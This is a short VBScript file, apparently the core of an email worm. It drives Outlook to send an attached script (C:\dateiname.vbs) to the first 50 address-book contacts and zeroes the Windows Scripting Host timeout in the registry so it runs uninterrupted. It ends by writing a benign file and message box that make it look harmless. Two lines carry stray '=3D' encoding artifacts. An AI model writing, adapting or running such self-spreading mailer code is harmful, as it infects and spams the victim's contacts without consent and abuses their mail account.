Set ol=CreateObject("Outlook.Application")
On Error Resume Next
For x=1 To 50
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="Betreff der E-Mail"
Mail.Body="Text der E-Mail"
Mail.Attachments.Add("C:\dateiname.vbs")
Mail.Send
Next
ol.Quit
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
set objFileSystem =3D CreateObject("Scripting.FileSystemObject")
set objOutputFile =3D objFileSystem.CreateTextFile("C:\deleteme.txt", 1)
objOutputFile.writeline("You can delete this file.")
objOutputFile.close
msgbox "I have created the file : c:\deleteme.txt"